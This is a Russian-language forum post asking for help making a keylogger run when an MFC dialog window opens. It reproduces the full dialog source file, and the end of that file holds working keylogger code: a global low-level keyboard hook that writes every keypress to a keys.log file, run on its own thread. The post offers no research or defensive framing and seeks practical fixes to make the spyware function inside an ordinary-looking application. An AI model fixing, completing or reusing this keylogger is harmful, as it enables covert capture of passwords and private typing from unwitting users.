Прошу помощи специалистов. Есть некоторая функция кейлогера, которую нужно запустить при открытии диалогового окна MFC. Я поместил этот кусок кода в самый конец файла cpp.
Диалог запускается но кейлогер ничего не делает.
Не пойму как запустить саму функцию кейлогера.
Вот если тело кейлогера пихаю в консольное приложение, тогда все работает, а в диалоговом окне MFC никак.
Уже весь интернет облазил, третий день голову ломаю. Помогите, кто сможет.
Прошу практической помощи, так как не являюсь специалистом с++, прошу поправьте код.
Вот исходник самого файла DlgCpp
Код:
#include "stdafx.h"
#define _WIN32_WINNT 0x0400
#include "700.h"
#include "700Dlg.h"
#include <windows.h>
#include <winuser.h>
#include <stdio.h>
#include <afxdllx.h>
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
HHOOK hKeyHook;
CMy700Dlg::CMy700Dlg(CWnd* pParent /*=NULL*/)
: CDialog(CMy700Dlg::IDD, pParent)
{
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}
void CMy700Dlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
}
BEGIN_MESSAGE_MAP(CMy700Dlg, CDialog)
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
ON_BN_CLICKED(IDC_BUTTON1, OnButton1)
END_MESSAGE_MAP()
BOOL CMy700Dlg::OnInitDialog()
{
CDialog::OnInitDialog();
SetIcon(m_hIcon, TRUE);
SetIcon(m_hIcon, FALSE);
// TODO: Add extra initialization here
return TRUE;
}
void CMy700Dlg::OnPaint()
{
if (IsIconic())
{
CPaintDC dc(this);
SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);
int cxIcon = GetSystemMetrics(SM_CXICON);
int cyIcon = GetSystemMetrics(SM_CYICON);
CRect rect;
GetClientRect(&rect);
int x = (rect.Width() - cxIcon + 1) / 2;
int y = (rect.Height() - cyIcon + 1) / 2;
dc.DrawIcon(x, y, m_hIcon);
}
else
{
CDialog::OnPaint();
}
}
HCURSOR CMy700Dlg::OnQueryDragIcon()
{
return (HCURSOR) m_hIcon;
}
///////////////////////////////////////////////////// НАЧАЛО ПРОЦЕДУРЫ КЕЙЛОГЕРА
__declspec(dllexport) LRESULT CALLBACK KeyEvent (
int nCode,
WPARAM wParam,
LPARAM lParam
) {
if ((nCode == HC_ACTION) &&
((wParam == WM_SYSKEYDOWN) ||
(wParam == WM_KEYDOWN)))
{
KBDLLHOOKSTRUCT hooked =
*((KBDLLHOOKSTRUCT*)lParam);
DWORD dwMsg = 1;
dwMsg += hooked.scanCode << 16;
dwMsg += hooked.flags << 24;
char lpszName[0x100] = {0};
lpszName[0] = '[';
int i = GetKeyNameText(dwMsg,
(lpszName+1),0xFF) + 1;
lpszName[i] = ']';
FILE *file;
file=fopen("keys.log","a+");
fputs(lpszName,file);
fflush(file);
}
return CallNextHookEx(hKeyHook,
nCode,wParam,lParam);
}
void MsgLoop()
{
MSG message;
while (GetMessage(&message,NULL,0,0)) {
TranslateMessage( &message );
DispatchMessage( &message );
}
}
DWORD WINAPI KeyLogger(LPVOID lpParameter)
{
HINSTANCE hExe = GetModuleHandle(NULL);
if (!hExe) hExe = LoadLibrary((LPCSTR) lpParameter);
if (!hExe) return 1;
hKeyHook = SetWindowsHookEx (
WH_KEYBOARD_LL,
(HOOKPROC) KeyEvent,
hExe,
NULL
);
MsgLoop();
UnhookWindowsHookEx(hKeyHook);
return 0;
}
int main(int argc, char** argv)
{
HANDLE hThread;
DWORD dwThread;
hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)
KeyLogger, (LPVOID) argv[0], NULL, &dwThread);
if (hThread) {
return WaitForSingleObject(hThread,INFINITE);
} else {
return 1;
}
}
////////////////////////////////////////////////////// КОНЕЦ ПРОЦЕДУРЫ КЕЙЛОГЕРА